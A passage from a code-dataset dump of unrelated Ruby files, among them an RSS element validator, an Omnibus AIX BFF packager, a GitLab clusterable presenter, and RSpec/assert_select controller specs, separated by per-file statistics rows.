def valid?(ignore_unknown_element=true)
validate(ignore_unknown_element)
true
rescue RSS::Error
false
end
def validate(ignore_unknown_element=true)
do_validate = @do_validate
@do_validate = true
validate_attribute
__validate(ignore_unknown_element)
ensure
@do_validate = do_validate
end
def validate_for_stream(tags, ignore_unknown_element=true)
validate_attribute
__validate(ignore_unknown_element, tags, false)
end
def to_s(need_convert=true, indent='')
if self.class.have_content?
return "" if !empty_content? and !content_is_set?
rv = tag(indent) do |next_indent|
if empty_content?
""
else
xmled_content
end
end
else
rv = tag(indent) do |next_indent|
self.class.to_element_methods.collect do |method_name|
__send__(method_name, false, next_indent)
end
end
end
rv = convert(rv) if need_convert
rv
end
def have_xml_content?
false
end
def need_base64_encode?
false
end
def set_next_element(tag_name, next_element)
klass = next_element.class
prefix = ""
prefix << "#{klass.required_prefix}_" if klass.required_prefix
key = "#{prefix}#{tag_name.gsub(/-/, '_')}"
if self.class.plural_forms.has_key?(key)
ary = __send__("#{self.class.plural_forms[key]}")
ary << next_element
else
__send__("#{key}=", next_element)
end
end
protected
def have_required_elements?
self.class::MODELS.all? do |tag, uri, occurs, getter|
if occurs.nil? or occurs == "+"
child = __send__(getter)
if child.is_a?(Array)
children = child
children.any? {|c| c.have_required_elements?}
else
!child.to_s.empty?
end
else
true
end
end
end
private
def initialize_variables(attrs)
normalized_attrs = {}
attrs.each do |key, value|
normalized_attrs[key.to_s] = value
end
self.class.need_initialize_variables.each do |variable_name|
value = normalized_attrs[variable_name.to_s]
if value
__send__("#{variable_name}=", value)
else
instance_variable_set("@#{variable_name}", nil)
end
end
initialize_have_children_elements
@content = normalized_attrs["content"] if self.class.have_content?
end
def initialize_have_children_elements
self.class.have_children_elements.each do |variable_name, plural_name|
instance_variable_set("@#{variable_name}", [])
end
end
def tag(indent, additional_attrs={}, &block)
next_indent = indent + INDENT
attrs = collect_attrs
return "" if attrs.nil?
return "" unless have_required_elements?
attrs.update(additional_attrs)
start_tag = make_start_tag(indent, next_indent, attrs.dup)
if block
content = block.call(next_indent)
else
content = []
end
if content.is_a?(String)
content = [content]
start_tag << ">"
end_tag = "</#{full_name}>"
else
content = content.reject{|x| x.empty?}
if content.empty?
return "" if attrs.empty?
end_tag = "/>"
else
start_tag << ">\n"
end_tag = "\n#{indent}</#{full_name}>"
end
end
start_tag + content.join("\n") + end_tag
end
def make_start_tag(indent, next_indent, attrs)
start_tag = ["#{indent}<#{full_name}"]
unless attrs.empty?
start_tag << attrs.collect do |key, value|
%Q[#{h key}="#{h value}"]
end.join("\n#{next_indent}")
end
start_tag.join(" ")
end
def collect_attrs
attrs = {}
_attrs.each do |name, required, alias_name|
value = __send__(alias_name || name)
return nil if required and value.nil?
next if value.nil?
return nil if attrs.has_key?(name)
attrs[name] = value
end
attrs
end
def tag_name_with_prefix(prefix)
"#{prefix}:#{tag_name}"
end
# For backward compatibility
def calc_indent
''
end
def children
rv = []
self.class.models.each do |name, uri, occurs, getter|
value = __send__(getter)
next if value.nil?
value = [value] unless value.is_a?(Array)
value.each do |v|
rv << v if v.is_a?(Element)
end
end
rv
end
def _tags
rv = []
self.class.models.each do |name, uri, occurs, getter, plural|
value = __send__(getter)
next if value.nil?
if plural and value.is_a?(Array)
rv.concat([[uri, name]] * value.size)
else
rv << [uri, name]
end
end
rv
end
def _attrs
self.class.get_attributes.collect do |name, uri, required, element_name|
[element_name, required, name]
end
end
def __validate(ignore_unknown_element, tags=_tags, recursive=true)
if recursive
children.compact.each do |child|
child.validate
end
end
must_call_validators = self.class.must_call_validators
tags = tag_filter(tags.dup)
p tags if DEBUG
must_call_validators.each do |uri, prefix|
_validate(ignore_unknown_element, tags[uri], uri)
meth = "#{prefix}_validate"
if !prefix.empty? and respond_to?(meth, true)
__send__(meth, ignore_unknown_element, tags[uri], uri)
end
end
end
def validate_attribute
_attrs.each do |a_name, required, alias_name|
value = instance_variable_get("@#{alias_name || a_name}")
if required and value.nil?
raise MissingAttributeError.new(tag_name, a_name)
end
__send__("#{alias_name || a_name}=", value)
end
end
def _validate(ignore_unknown_element, tags, uri, models=self.class.models)
count = 1
do_redo = false
not_shift = false
tag = nil
models = models.find_all {|model| model[1] == uri}
element_names = models.collect {|model| model[0]}
if tags
tags_size = tags.size
tags = tags.sort_by {|x| element_names.index(x) || tags_size}
end
models.each_with_index do |model, i|
name, _, occurs, = model
if DEBUG
p "before"
p tags
p model
end
if not_shift
not_shift = false
elsif tags
tag = tags.shift
end
if DEBUG
p "mid"
p count
end
case occurs
when '?'
if count > 2
raise TooMuchTagError.new(name, tag_name)
else
if name == tag
do_redo = true
else
not_shift = true
end
end
when '*'
if name == tag
do_redo = true
else
not_shift = true
end
when '+'
if name == tag
do_redo = true
else
if count > 1
not_shift = true
else
raise MissingTagError.new(name, tag_name)
end
end
else
if name == tag
if models[i+1] and models[i+1][0] != name and
tags and tags.first == name
raise TooMuchTagError.new(name, tag_name)
end
else
raise MissingTagError.new(name, tag_name)
end
end
if DEBUG
p "after"
p not_shift
p do_redo
p tag
end
if do_redo
do_redo = false
count += 1
redo
else
count = 1
end
end
if !ignore_unknown_element and !tags.nil? and !tags.empty?
raise NotExpectedTagError.new(tags.first, uri, tag_name)
end
end
def tag_filter(tags)
rv = {}
tags.each do |tag|
rv[tag[0]] = [] unless rv.has_key?(tag[0])
rv[tag[0]].push(tag[1])
end
rv
end
def empty_content?
false
end
def content_is_set?
if have_xml_content?
__send__(self.class.xml_getter)
else
content
end
end
def xmled_content
if have_xml_content?
__send__(self.class.xml_getter).to_s
else
_content = content
_content = [_content].pack("m").delete("\n") if need_base64_encode?
h(_content)
end
end
end
module RootElementMixin
include XMLStyleSheetMixin
attr_reader :output_encoding
attr_reader :feed_type, :feed_subtype, :feed_version
attr_accessor :version, :encoding, :standalone
def initialize(feed_version, version=nil, encoding=nil, standalone=nil)
super()
@feed_type = nil
@feed_subtype = nil
@feed_version = feed_version
@version = version || '1.0'
@encoding = encoding
@standalone = standalone
@output_encoding = nil
end
def feed_info
[@feed_type, @feed_version, @feed_subtype]
end
def output_encoding=(enc)
@output_encoding = enc
self.converter = Converter.new(@output_encoding, @encoding)
end
def setup_maker(maker)
maker.version = version
maker.encoding = encoding
maker.standalone = standalone
xml_stylesheets.each do |xss|
xss.setup_maker(maker)
end
super
end
def to_feed(type, &block)
Maker.make(type) do |maker|
setup_maker(maker)
block.call(maker) if block
end
end
def to_rss(type, &block)
to_feed("rss#{type}", &block)
end
def to_atom(type, &block)
to_feed("atom:#{type}", &block)
end
def to_xml(type=nil, &block)
if type.nil? or same_feed_type?(type)
to_s
else
to_feed(type, &block).to_s
end
end
private
def same_feed_type?(type)
if /^(atom|rss)?(\d+\.\d+)?(?::(.+))?$/i =~ type
feed_type = ($1 || @feed_type).downcase
feed_version = $2 || @feed_version
feed_subtype = $3 || @feed_subtype
[feed_type, feed_version, feed_subtype] == feed_info
else
false
end
end
def tag(indent, attrs={}, &block)
rv = super(indent, ns_declarations.merge(attrs), &block)
return rv if rv.empty?
"#{xmldecl}#{xml_stylesheet_pi}#{rv}"
end
def xmldecl
rv = %Q[<?xml version="#{@version}"]
if @output_encoding or @encoding
rv << %Q[ encoding="#{@output_encoding or @encoding}"]
end
rv << %Q[ standalone="yes"] if @standalone
rv << "?>\n"
rv
end
def ns_declarations
decls = {}
self.class::NSPOOL.collect do |prefix, uri|
prefix = ":#{prefix}" unless prefix.empty?
decls["xmlns#{prefix}"] = uri
end
decls
end
def maker_target(target)
target
end
end
end
| 25.567386 | 87 | 0.570755 |
7ab41b25bbe426530868eb65579b96665bf9859f | 10,393 | #
# Copyright 2014 Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module Omnibus
class Packager::BFF < Packager::Base
# @return [Hash]
SCRIPT_MAP = {
# Default Omnibus naming
preinst: "Pre-installation Script",
postinst: "Post-installation Script",
config: "Configuration Script",
unconfig: "Unconfiguration Script",
prerm: "Pre_rm Script",
postrm: "Unconfiguration Script",
}.freeze
id :bff
setup do
# Copy the full-stack installer into our scratch directory, accounting for
# any excluded files.
#
# /opt/hamlet => /tmp/daj29013/opt/hamlet
destination = File.join(staging_dir, project.install_dir)
FileSyncer.sync(project.install_dir, destination, exclude: exclusions)
# Create the scripts staging directory
create_directory(scripts_staging_dir)
end
build do
# Copy scripts
write_scripts
# Render the gen template
write_gen_template
# Create the package
create_bff_file
end
# @see Base#package_name
def package_name
"#{safe_base_package_name}-#{project.build_version}-#{project.build_iteration}.#{safe_architecture}.bff"
end
#
# The path where the package scripts in the install directory.
#
# @return [String]
#
def scripts_install_dir
File.expand_path(File.join(project.install_dir, "embedded/share/installp"))
end
#
# The path where the package scripts will staged.
#
# @return [String]
#
def scripts_staging_dir
File.expand_path(File.join(staging_dir, scripts_install_dir))
end
#
# Copy all scripts in {Project#package_scripts_path} to the package
# directory.
#
# @return [void]
#
def write_scripts
SCRIPT_MAP.each do |script, _installp_name|
source_path = File.join(project.package_scripts_path, script.to_s)
if File.file?(source_path)
log.debug(log_key) { "Adding script `#{script}' to `#{scripts_staging_dir}'" }
copy_file(source_path, scripts_staging_dir)
end
end
end
#
# Create the gen template for +mkinstallp+.
#
# @return [void]
#
# Some details on the various lifecycle scripts:
#
# The order of the installp scripts is:
# - install
# - pre-install
# - post-install
# - config
# - upgrade
# - pre-remove (of previous version)
# - pre-install (previous version of software not present anymore)
# - post-install
# - config
# - remove
# - unconfig
# - unpre-install
#
# To run the new version of scc, the post-install will do.
# To run the previous version with an upgrade, use the pre-remove script.
# To run a source install of scc upon installation of installp package, use the pre-install.
# Upon upgrade, both the pre-remove and the pre-install scripts will run.
# As scc has been removed between the runs of these scripts, it will only run once during upgrade.
#
# Keywords for scripts:
#
# Pre-installation Script: /path/script
# Unpre-installation Script: /path/script
# Post-installation Script: /path/script
# Pre_rm Script: /path/script
# Configuration Script: /path/script
# Unconfiguration Script: /path/script
#
def write_gen_template
# Get a list of all files
files = FileSyncer.glob("#{staging_dir}/**/*").reject do |path|
# remove any files with spaces.
if path =~ /[[:space:]]/
log.warn(log_key) { "Skipping packaging '#{path}' file due to whitespace in filename" }
true
end
end
files.map! do |path|
# If paths have colons or commas, rename them and add them to a post-install,
# post-sysck renaming script ('config') which is created if needed
if path =~ /:|,/
alt = path.gsub(/(:|,)/, "__")
log.debug(log_key) { "Renaming #{path} to #{alt}" }
File.rename(path, alt) if File.exists?(path)
# Create a config script if needed based on resources/bff/config.erb
config_script_path = File.join(scripts_staging_dir, "config")
unless File.exists? config_script_path
render_template(resource_path("config.erb"),
destination: "#{scripts_staging_dir}/config",
variables: {
name: project.name,
})
end
File.open(File.join(scripts_staging_dir, "config"), "a") do |file|
file.puts "mv '#{alt.gsub(/^#{staging_dir}/, '')}' '#{path.gsub(/^#{staging_dir}/, '')}'"
end
path = alt
end
path.gsub(/^#{staging_dir}/, "")
end
# Create a map of scripts that exist to inject into the template
scripts = SCRIPT_MAP.inject({}) do |hash, (script, installp_key)|
staging_path = File.join(scripts_staging_dir, script.to_s)
if File.file?(staging_path)
hash[installp_key] = staging_path
log.debug(log_key) { installp_key + ":\n" + File.read(staging_path) }
end
hash
end
render_template(resource_path("gen.template.erb"),
destination: File.join(staging_dir, "gen.template"),
variables: {
name: safe_base_package_name,
install_dir: project.install_dir,
friendly_name: project.friendly_name,
version: bff_version,
description: project.description,
files: files,
scripts: scripts,
})
# Print the full contents of the rendered template file for mkinstallp's use
log.debug(log_key) { "Rendered Template:\n" + File.read(File.join(staging_dir, "gen.template")) }
end
#
# Create the bff file using +mkinstallp+.
#
# Warning: This command runs as sudo! AIX requires the use of sudo to run
# the +mkinstallp+ command.
#
# @return [void]
#
def create_bff_file
# We are making the assumption that sudo exists.
# Unforunately, the owner of the file in the staging directory is what
# will be on the target machine, and mkinstallp can't tell you if that
# is a bad thing (it usually is).
# The match is so we only pick the lowest level of the project dir.
# This implies that if we are in /tmp/staging/project/dir/things,
# we will chown from 'project' on, rather than 'project/dir', which leaves
# project owned by the build user (which is incorrect)
# First - let's find out who we are.
shellout!("sudo chown -Rh 0:0 #{File.join(staging_dir, project.install_dir.match(/^\/?(\w+)/).to_s)}")
log.info(log_key) { "Creating .bff file" }
# Since we want the owner to be root, we need to sudo the mkinstallp
# command, otherwise it will not have access to the previously chowned
# directory.
shellout!("sudo /usr/sbin/mkinstallp -d #{staging_dir} -T #{File.join(staging_dir, 'gen.template')}")
# Print the full contents of the inventory file generated by mkinstallp
# from within the staging_dir's .info folder (where control files for the
# packaging process are kept.)
log.debug(log_key) do
"With .inventory file of:\n" + File.read("#{
File.join(staging_dir, '.info', "#{safe_base_package_name}.inventory")
}")
end
# Copy the resulting package up to the package_dir
FileSyncer.glob(File.join(staging_dir, "tmp/*.bff")).each do |bff|
copy_file(bff, File.join(Config.package_dir, create_bff_file_name))
end
ensure
# chown back to original user's uid/gid so cleanup works correctly
original_uid = shellout!("id -u").stdout.chomp
original_gid = shellout!("id -g").stdout.chomp
shellout!("sudo chown -Rh #{original_uid}:#{original_gid} #{staging_dir}")
end
#
# Create bff file name
#
# +mkinstallp+ names the bff file according to the version specified in
# the template. We want to differentiate the build specific version
# correctly.
#
# @return [String]
#
def create_bff_file_name
"#{safe_base_package_name}-#{project.build_version}-#{project.build_iteration}.#{safe_architecture}.bff"
end
#
# Return the BFF-ready base package name, converting any invalid characters to
# dashes (+-+).
#
# @return [String]
#
def safe_base_package_name
if project.package_name =~ /\A[a-z0-9\.\+\-]+\z/
project.package_name.dup
else
converted = project.package_name.downcase.gsub(/[^a-z0-9\.\+\-]+/, "-")
log.warn(log_key) do
"The `name' component of BFF package names can only include " \
"lowercase alphabetical characters (a-z), numbers (0-9), dots (.), " \
"plus signs (+), and dashes (-). Converting `#{project.package_name}' to " \
"`#{converted}'."
end
converted
end
end
#
# Return the BFF-specific version for this package. This is calculated
# using the first three digits of the version, concatenated by a dot, then
# suffixed with the build_iteration.
#
# @todo This is probably not the best way to extract the version and
# probably misses edge cases like when using git describe!
#
# @return [String]
#
def bff_version
version = project.build_version.split(/[^\d]/)[0..2].join(".")
"#{version}.#{project.build_iteration}"
end
#
# The architecture for this RPM package.
#
# @return [String]
#
def safe_architecture
Ohai["kernel"]["machine"]
end
end
end
| 34.07541 | 110 | 0.620225 |
bf9adf716a991ee8eebfba5ef04077e682bc5108 | 406 | class Favicon < ApplicationRecord
default_scope { select(*(Favicon.column_names - ["favicon"])) }
validates :url, presence: true
def data
self[:data] || {}
end
def cdn_url
@cdn_url ||= begin
if url
uri = URI(url)
if ENV["FAVICON_HOST"]
uri.host = ENV["FAVICON_HOST"]
end
uri.scheme = "https"
uri.to_s
end
end
end
end
| 17.652174 | 65 | 0.559113 |
7a08162508792033f6638e59c9bee23702240396 | 912 | require File.join(File.dirname(__FILE__), *%w[spec_helper])
shared_examples_for "non-empty Stack" do
it { @stack.should_not be_empty }
it "should return the top item when sent #peek" do
@stack.peek.should == @last_item_added
end
it "should NOT remove the top item when sent #peek" do
@stack.peek.should == @last_item_added
@stack.peek.should == @last_item_added
end
it "should return the top item when sent #pop" do
@stack.pop.should == @last_item_added
end
it "should remove the top item when sent #pop" do
@stack.pop.should == @last_item_added
unless @stack.empty?
@stack.pop.should_not == @last_item_added
end
end
end
shared_examples_for "non-full Stack" do
it { @stack.should_not be_full }
it "should add to the top when sent #push" do
@stack.push "newly added top item"
@stack.peek.should == "newly added top item"
end
end | 24 | 59 | 0.6875 |
4ab44ccee32a6c0194a58b153b769359dcf42523 | 657 | #
# Below is an example of the Template Method design pattern.
#
# Examples: Trailblazer Operations (process), Sidekiq (perform)
#
class Animal
def describe
say_species
make_sound
end
def say_species
raise NotImplementedError, "Implement say_species"
end
def make_sound
raise NotImplementedError, "Implement make_sound"
end
end
class Dog < Animal
def say_species
puts "Doggie!"
end
def make_sound
puts "Woof!"
end
end
class Cat < Animal
def say_species
puts "Kitty!"
end
def make_sound
puts "Meow!"
end
end
lollipop = Dog.new
puts lollipop.describe
kitty = Cat.new
puts kitty.describe
| 13.978723 | 63 | 0.70624 |
e8cb0fea216827a30c371f0ab362f16ff421e0eb | 1,498 | require 'spec_helper'
describe 'path helpers' do
before do
@user = FactoryGirl.create(:user, :admin => true)
@mission = FactoryGirl.create(:mission, :name => 'Foo')
login(@user)
end
context 'in basic mode' do
before do
get('/en/route-tests')
end
it 'should be correct' do
expect_urls "
/en/users/#{@user.id}
/en/users/#{@user.id}/edit
/en/logged-out
/en
/en
/fr
/en/m/foo
/en/admin
/en/admin/missions
/en/admin/forms
/en/m/foo/forms"
end
end
context 'in mission mode' do
before do
get("/en/m/foo/route-tests")
end
it 'should be correct' do
expect_urls "
/en/m/foo/users/#{@user.id}
/en/m/foo/users/#{@user.id}/edit
/en/logged-out
/en/m/foo
/en
/fr
/en/m/foo
/en/admin
/en/admin/missions
/en/admin/forms
/en/m/foo/forms"
end
end
context 'in admin mode' do
before do
get("/en/admin/route-tests")
end
it 'should be correct' do
expect_urls "
/en/admin/users/#{@user.id}
/en/admin/users/#{@user.id}/edit
/en/logged-out
/en/admin
/en
/fr
/en/m/foo
/en/admin
/en/admin/missions
/en/m/foo/forms
/en/admin/forms"
end
end
def expect_urls(urls)
expect(response.body).to eq urls.gsub(/( )+/, '').strip + "\n"
end
end
| 19.205128 | 66 | 0.513351 |
2608705d15081c5d3cb76e106ad71c55fcf6408b | 564 | # frozen_string_literal: true
class PassThePopcorn
class CookieParser < SimpleDelegator
attr_reader :cookie
private
CFDUID_KEY = /__cfduid=[^;]*/.freeze
SESSION_KEY = /session=[^;]*/.freeze
private_constant :CFDUID_KEY, :SESSION_KEY
attr_reader :cfduid, :session
attr_writer :cfduid, :session, :cookie
def initialize(set_cookie)
super(set_cookie)
self.cfduid = CFDUID_KEY.match(set_cookie)[0]
self.session = SESSION_KEY.match(set_cookie)[0]
self.cookie = "#{cfduid}; #{session}"
end
end
end
| 22.56 | 53 | 0.679078 |
62488465c24acfff9173863f68efa839a9202a20 | 2,079 | # frozen_string_literal: true
class ClusterablePresenter < Gitlab::View::Presenter::Delegated
presents :clusterable
def self.fabricate(clusterable, **attributes)
presenter_class = "#{clusterable.class.name}ClusterablePresenter".constantize
attributes_with_presenter_class = attributes.merge(presenter_class: presenter_class)
Gitlab::View::Presenter::Factory
.new(clusterable, **attributes_with_presenter_class)
.fabricate!
end
def can_add_cluster?
can?(current_user, :add_cluster, clusterable)
end
def can_create_cluster?
can?(current_user, :create_cluster, clusterable)
end
def index_path(options = {})
polymorphic_path([clusterable, :clusters], options)
end
def new_path(options = {})
new_polymorphic_path([clusterable, :cluster], options)
end
def authorize_aws_role_path
polymorphic_path([clusterable, :clusters], action: :authorize_aws_role)
end
def create_user_clusters_path
polymorphic_path([clusterable, :clusters], action: :create_user)
end
def create_gcp_clusters_path
polymorphic_path([clusterable, :clusters], action: :create_gcp)
end
def create_aws_clusters_path
polymorphic_path([clusterable, :clusters], action: :create_aws)
end
def cluster_status_cluster_path(cluster, params = {})
raise NotImplementedError
end
def install_applications_cluster_path(cluster, application)
raise NotImplementedError
end
def update_applications_cluster_path(cluster, application)
raise NotImplementedError
end
def clear_cluster_cache_path(cluster)
raise NotImplementedError
end
def cluster_path(cluster, params = {})
raise NotImplementedError
end
def metrics_dashboard_path(cluster)
raise NotImplementedError
end
# Will be overridden in EE
def environments_cluster_path(cluster)
nil
end
def empty_state_help_text
nil
end
def sidebar_text
raise NotImplementedError
end
def learn_more_link
raise NotImplementedError
end
end
ClusterablePresenter.prepend_if_ee('EE::ClusterablePresenter')
| 23.1 | 88 | 0.763348 |
1c46ab71f258033fc23b11a190623235525730dd | 24,558 | require File.dirname(__FILE__) + '/../../spec_helper'
# assert_select plugins for Rails
#
# Copyright (c) 2006 Assaf Arkin, under Creative Commons Attribution and/or MIT License
# Developed for http://co.mments.com
# Code and documention: http://labnotes.org
class AssertSelectController < ActionController::Base
def response=(content)
@content = content
end
#NOTE - this is commented because response is implemented in lib/spec/rails/context/controller
# def response(&block)
# @update = block
# end
#
def html()
render :text=>@content, :layout=>false, :content_type=>Mime::HTML
@content = nil
end
def rjs()
update = @update
render :update do |page|
update.call page
end
@update = nil
end
def xml()
render :text=>@content, :layout=>false, :content_type=>Mime::XML
@content = nil
end
def rescue_action(e)
raise e
end
end
class AssertSelectMailer < ActionMailer::Base
def test(html)
recipients "test <[email protected]>"
from "[email protected]"
subject "Test e-mail"
part :content_type=>"text/html", :body=>html
end
end
module AssertSelectSpecHelpers
def render_html(html)
@controller.response = html
get :html
end
def render_rjs(&block)
clear_response
@controller.response &block
get :rjs
end
def render_xml(xml)
@controller.response = xml
get :xml
end
def first_non_rspec_line_in_backtrace_of(error)
rspec_path = File.join('rspec', 'lib', 'spec')
error.backtrace.reject { |line|
line =~ /#{rspec_path}/
}.first
end
private
# necessary for 1.2.1
def clear_response
render_html("")
end
end
unless defined?(SpecFailed)
SpecFailed = Spec::Expectations::ExpectationNotMetError
end
describe "should have_tag", :type => :controller do
include AssertSelectSpecHelpers
controller_name :assert_select
integrate_views
it "should find specific numbers of elements" do
render_html %Q{<div id="1"></div><div id="2"></div>}
response.should have_tag( "div" )
response.should have_tag("div", 2)
lambda { response.should_not have_tag("div") }.should raise_error(SpecFailed, "should not have tag(\"div\"), but did")
lambda { response.should have_tag("div", 3) }.should raise_error(SpecFailed)
lambda { response.should have_tag("p") }.should raise_error(SpecFailed)
end
it "should expect to find elements when using true" do
render_html %Q{<div id="1"></div><div id="2"></div>}
response.should have_tag( "div", true )
lambda { response.should have_tag( "p", true )}.should raise_error(SpecFailed)
end
it "should expect to not find elements when using false" do
render_html %Q{<div id="1"></div><div id="2"></div>}
response.should have_tag( "p", false )
lambda { response.should have_tag( "div", false )}.should raise_error(SpecFailed)
end
it "should match submitted text using text or regexp" do
render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
response.should have_tag("div", "foo")
response.should have_tag("div", /(foo|bar)/)
response.should have_tag("div", :text=>"foo")
response.should have_tag("div", :text=>/(foo|bar)/)
lambda { response.should have_tag("div", "bar") }.should raise_error(SpecFailed)
lambda { response.should have_tag("div", :text=>"bar") }.should raise_error(SpecFailed)
lambda { response.should have_tag("p", :text=>"foo") }.should raise_error(SpecFailed)
lambda { response.should have_tag("div", /foobar/) }.should raise_error(SpecFailed)
lambda { response.should have_tag("div", :text=>/foobar/) }.should raise_error(SpecFailed)
lambda { response.should have_tag("p", :text=>/foo/) }.should raise_error(SpecFailed)
end
it "should use submitted message" do
render_html %Q{nothing here}
lambda {
response.should have_tag("div", {}, "custom message")
}.should raise_error(SpecFailed, /custom message/)
end
it "should match submitted html" do
render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
text = "\"This is not a big problem,\" he said."
html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
response.should have_tag("p", text)
lambda { response.should have_tag("p", html) }.should raise_error(SpecFailed)
response.should have_tag("p", :html=>html)
lambda { response.should have_tag("p", :html=>text) }.should raise_error(SpecFailed)
# # No stripping for pre.
render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
text = "\n\"This is not a big problem,\" he said.\n"
html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
response.should have_tag("pre", text)
lambda { response.should have_tag("pre", html) }.should raise_error(SpecFailed)
response.should have_tag("pre", :html=>html)
lambda { response.should have_tag("pre", :html=>text) }.should raise_error(SpecFailed)
end
it "should match number of instances" do
render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
response.should have_tag("div", 2)
lambda { response.should have_tag("div", 3) }.should raise_error(SpecFailed)
response.should have_tag("div", 1..2)
lambda { response.should have_tag("div", 3..4) }.should raise_error(SpecFailed)
response.should have_tag("div", :count=>2)
lambda { response.should have_tag("div", :count=>3) }.should raise_error(SpecFailed)
response.should have_tag("div", :minimum=>1)
response.should have_tag("div", :minimum=>2)
lambda { response.should have_tag("div", :minimum=>3) }.should raise_error(SpecFailed)
response.should have_tag("div", :maximum=>2)
response.should have_tag("div", :maximum=>3)
lambda { response.should have_tag("div", :maximum=>1) }.should raise_error(SpecFailed)
response.should have_tag("div", :minimum=>1, :maximum=>2)
lambda { response.should have_tag("div", :minimum=>3, :maximum=>4) }.should raise_error(SpecFailed)
end
it "substitution values" do
render_html %Q{<div id="1">foo</div><div id="2">foo</div><span id="3"></span>}
response.should have_tag("div#?", /\d+/) do |elements| #using do/end
elements.size.should == 2
end
response.should have_tag("div#?", /\d+/) { |elements| #using {}
elements.size.should == 2
}
lambda {
response.should have_tag("div#?", /\d+/) do |elements|
elements.size.should == 3
end
}.should raise_error(SpecFailed, "expected: 3,\n got: 2 (using ==)")
lambda {
response.should have_tag("div#?", /\d+/) { |elements|
elements.size.should == 3
}
}.should raise_error(SpecFailed, "expected: 3,\n got: 2 (using ==)")
response.should have_tag("div#?", /\d+/) do |elements|
elements.size.should == 2
with_tag("#1")
with_tag("#2")
without_tag("#3")
end
end
#added for RSpec
it "nested tags in form" do
render_html %Q{
<form action="test">
<input type="text" name="email">
</form>
<form action="other">
<input type="text" name="other_input">
</form>
}
response.should have_tag("form[action=test]") { |form|
with_tag("input[type=text][name=email]")
}
response.should have_tag("form[action=test]") { |form|
with_tag("input[type=text][name=email]")
}
lambda {
response.should have_tag("form[action=test]") { |form|
with_tag("input[type=text][name=other_input]")
}
}.should raise_error(SpecFailed)
lambda {
response.should have_tag("form[action=test]") {
with_tag("input[type=text][name=other_input]")
}
}.should raise_error(SpecFailed)
end
it "should report the correct line number for a nested failed expectation" do
render_html %Q{
<form action="test">
<input type="text" name="email">
</form>
}
begin
response.should have_tag("form[action=test]") {
@expected_error_line = __LINE__; should have_tag("input[type=text][name=other_input]")
}
rescue => e
first_non_rspec_line_in_backtrace_of(e).should =~
/#{File.basename(__FILE__)}:#{@expected_error_line}/
else
fail
end
end
it "should report the correct line number for a nested raised exception" do
render_html %Q{
<form action="test">
<input type="text" name="email">
</form>
}
begin
response.should have_tag("form[action=test]") {
@expected_error_line = __LINE__; raise "Failed!"
}
rescue => e
first_non_rspec_line_in_backtrace_of(e).should =~
/#{File.basename(__FILE__)}:#{@expected_error_line}/
else
fail
end
end
it "should report the correct line number for a nested failed test/unit assertion" do
pending "Doesn't work at the moment. Do we want to support this?" do
render_html %Q{
<form action="test">
<input type="text" name="email">
</form>
}
begin
response.should have_tag("form[action=test]") {
@expected_error_line = __LINE__; assert false
}
rescue => e
first_non_rspec_line_in_backtrace_of(e).should =~
/#{File.basename(__FILE__)}:#{@expected_error_line}/
else
fail
end
end
end
it "beatles" do
unless defined?(BEATLES)
BEATLES = [
["John", "Guitar"],
["George", "Guitar"],
["Paul", "Bass"],
["Ringo", "Drums"]
]
end
render_html %Q{
<div id="beatles">
<div class="beatle">
<h2>John</h2><p>Guitar</p>
</div>
<div class="beatle">
<h2>George</h2><p>Guitar</p>
</div>
<div class="beatle">
<h2>Paul</h2><p>Bass</p>
</div>
<div class="beatle">
<h2>Ringo</h2><p>Drums</p>
</div>
</div>
}
response.should have_tag("div#beatles>div[class=\"beatle\"]", 4)
response.should have_tag("div#beatles>div.beatle") {
BEATLES.each { |name, instrument|
with_tag("div.beatle>h2", name)
with_tag("div.beatle>p", instrument)
without_tag("div.beatle>span")
}
}
end
it "assert_select_text_match" do
render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
response.should have_tag("div") do |divs|
with_tag("div", "foo")
with_tag("div", "bar")
with_tag("div", /\w*/)
with_tag("div", /\w*/, :count=>2)
without_tag("div", :text=>"foo", :count=>2)
with_tag("div", :html=>"<span>bar</span>")
with_tag("div", :html=>"<span>bar</span>")
with_tag("div", :html=>/\w*/)
with_tag("div", :html=>/\w*/, :count=>2)
without_tag("div", :html=>"<span>foo</span>", :count=>2)
end
end
it "assert_select_from_rjs with one item" do
render_rjs do |page|
page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
end
response.should have_tag("div") { |elements|
elements.size.should == 2
with_tag("#1")
with_tag("#2")
}
lambda {
response.should have_tag("div") { |elements|
elements.size.should == 2
with_tag("#1")
with_tag("#3")
}
}.should raise_error(SpecFailed)
lambda {
response.should have_tag("div") { |elements|
elements.size.should == 2
with_tag("#1")
without_tag("#2")
}
}.should raise_error(SpecFailed, "should not have tag(\"#2\"), but did")
lambda {
response.should have_tag("div") { |elements|
elements.size.should == 3
with_tag("#1")
with_tag("#2")
}
}.should raise_error(SpecFailed)
response.should have_tag("div#?", /\d+/) { |elements|
with_tag("#1")
with_tag("#2")
}
end
it "assert_select_from_rjs with multiple items" do
render_rjs do |page|
page.replace_html "test", "<div id=\"1\">foo</div>"
page.replace_html "test2", "<div id=\"2\">foo</div>"
end
response.should have_tag("div")
response.should have_tag("div") { |elements|
elements.size.should == 2
with_tag("#1")
with_tag("#2")
}
lambda {
response.should have_tag("div") { |elements|
with_tag("#3")
}
}.should raise_error(SpecFailed)
end
end
describe "css_select", :type => :controller do
include AssertSelectSpecHelpers
controller_name :assert_select
integrate_views
it "can select tags from html" do
render_html %Q{<div id="1"></div><div id="2"></div>}
css_select("div").size.should == 2
css_select("p").size.should == 0
end
it "can select nested tags from html" do
render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
response.should have_tag("div#?", /\d+/) { |elements|
css_select(elements[0], "div").should have(1).element
css_select(elements[1], "div").should have(1).element
}
